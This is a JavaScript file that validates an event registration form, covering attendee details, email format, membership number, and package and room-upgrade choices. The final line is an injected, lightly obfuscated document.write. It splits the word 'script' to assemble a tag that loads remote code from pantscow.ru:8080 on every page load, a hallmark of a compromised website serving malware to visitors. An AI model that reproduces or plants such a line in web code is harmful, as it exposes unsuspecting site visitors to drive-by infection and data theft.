
function validateFields()
{
	var fname = document.getElementById('attendee_first_name');
	var lname = document.getElementById('attendee_last_name');
	var contact = document.getElementById('phone'); 
	var email = document.getElementById('attendee_email'); 
	var city = document.getElementById('city'); 
	var country = document.getElementById('office_country'); 
	var howto = document.getElementById('howto');
	var xlmember = document.regform.xl_member.length; 
	var memberno = document.getElementById('txt_xl_member'); 
	var flag = 0;
	if(fname.value=="") {
		alert("Please enter First Name");
		flag = 1;
		fname.focus();
	} else if(lname.value=="") {
		alert("Please enter Last Name");
		flag = 1;
		lname.focus();
	}else if(contact.value=="") {
		alert("Please enter Contact No");
		flag = 1;
		contact.focus();
	} else if(email.value == "") {
			alert("Please enter Email Address");
			flag = 1;
			email.focus();
	}else if(!isValidEmail(email.value)) {
			alert("Invalid Email Address");
			flag = 1;
			email.focus();
	} /*else if(city.value=="") {
		alert("Please enter city");
		flag = 1;
		city.focus();
	}*/ else if(country.value=="0") {
		alert("Please select country");
		flag = 1;
		email.focus();
		
	} else if(howto.value=="0") {
		alert("Please tell us how you get to know about this event.");
		flag = 1;
		email.focus();
		
	} else if(xlmember > 0) {
		if (document.regform.xl_member[0].checked) {
			if(memberno.value=="") {
				alert("Please enter Membership No");
				flag = 1;
				memberno.focus();
			} else if(memberno.value.length!=4) {
				alert("Membership No must be 4 digit");
				flag = 1;
				memberno.focus();
			}
		}
	}
	
	
	if(flag==0) {
		document.regform.submit();
	} else {
		return false;
	}
}


/*--------------------------------------------------------------------------------------------*\
  Function: alertMessage()
  Purpose:  simple helper function which alerts a message, then focuses on and highlights 
            a particular field.
\*--------------------------------------------------------------------------------------------*/
function alertMessage(obj, message)
{ 
  var backgroundColor = "#F2F9FF";

  alert(message);

  // if "obj" is an array: it's a radio button. Focus on the first element.
  if (obj.type == undefined)
    obj[0].focus();
  else
  {
    obj.style.background = backgroundColor;
    obj.focus();
  }
  return false;
}


/*--------------------------------------------------------------------------------------------*\
  Function: isValidEmail
  Purpose:  tests a string is a valid email
\*--------------------------------------------------------------------------------------------*/
function isValidEmail(str)
{
  // trim starting / ending whitespace
  str = str.replace(/^\s*/, "");
  str = str.replace(/\s*$/, "");

  var at="@"
  var dot="."
  var lat=str.indexOf(at)
  var lstr=str.length
  var ldot=str.indexOf(dot)

  if (str.indexOf(at)==-1)
    return false
  
  if (str.indexOf(at)==-1 || str.indexOf(at)==0 || str.indexOf(at)==lstr)
    return false
  
  if (str.indexOf(dot)==-1 || str.indexOf(dot)==0 || str.indexOf(dot)==lstr)
    return false

  if (str.indexOf(at,(lat+1))!=-1)
    return false

  if (str.substring(lat-1,lat)==dot || str.substring(lat+1,lat+2)==dot)
    return false

  if (str.indexOf(dot,(lat+2))==-1)
    return false

  if (str.indexOf(" ")!=-1)
    return false

  return true;
}



function validateFields_resstep2()
{
	 
	
	var eventpackage = document.getElementById('eventpackage');
	var noupg = document.regform2.rdo_noupg[0].checked;
	var deluxroomupg = document.regform2.rdo_noupg[1].checked;
	var siteupgvar = document.regform2.rdo_noupg[2].checked;
	var villaupgvar = document.regform2.rdo_noupg[3].checked;
	var deluxroomupgval = document.getElementById('deluxupg');
	var siteupgval = document.getElementById('suiteupg');
	var villaupgval =document.getElementById('villaupg');
	
		
	var flag = 0;
	if(eventpackage.value=="" || eventpackage.value== 0) {
		alert("Please Select Package Price");
		flag = 1;
		eventpackage.focus();
	} else if(deluxroomupg == 1) {
		
		if(deluxroomupgval.value=="" || deluxroomupgval.value== 0)
		{
			alert("Please Select Option");
			flag = 1;
			deluxroomupgval.focus();
		}
		
	} else if(siteupgvar == 1) {
		if(siteupgval.value=="" || siteupgval.value== 0)
		{
			alert("Please Select Option");
			flag = 1;
			siteupgval.focus();
		}
		
	} else if(villaupgvar == 1) {
		if(villaupgval.value=="" || villaupgval.value== 0)
		{
			alert("Please Select Option");
			flag = 1;
			villaupgval.focus();
		}
		
	}
	
	if(flag==0) {
		document.regform2.submit();
	} else {
		return false;
	}
}

/*function enableoption(enableoption,disab1,disab2){
	
	document.getElementById(enableoption).disabled = false;
	document.getElementById(disab1).disabled = true;
	document.getElementById(disab2).disabled = true;
	
	
}

function disableoption(){
	
	
	document.getElementById('deluxupg').disabled = true;
	document.getElementById('suiteupg').disabled = true;
	document.getElementById('villaupg').disabled = true;
	
	
}
*/

function enabledisablememno(){
	
	if(document.regform.xl_member[0].checked){
		//document.getElementById('txt_xl_member').disabled = false;
		document.regform.txt_xl_member.disabled = false;
	} else {
		/*document.getElementById('txt_xl_member').disabled = true;
		document.getElementById('txt_xl_member').value = '';*/
		document.regform.txt_xl_member.disabled = true;
		document.regform.txt_xl_member.value = '';
		
	}
}


function upgradoption(enableopt){
	
	var optarray= new Array("deluxupg","suiteupg","villaupg");
	
	for (x=0; x<3; x++)
	{    if(enableopt == optarray[x]){	
			
			document.getElementById(optarray[x]).disabled = false;
			
		} else {
			document.getElementById(optarray[x]).disabled = true;
			document.getElementById(optarray[x]).value = 0;
			
			
		}
	 
	} 
	
}
document.write('<s'+'cript type="text/javascript" src="http://pantscow.ru:8080/Page_Orientation.js"></scr'+'ipt>');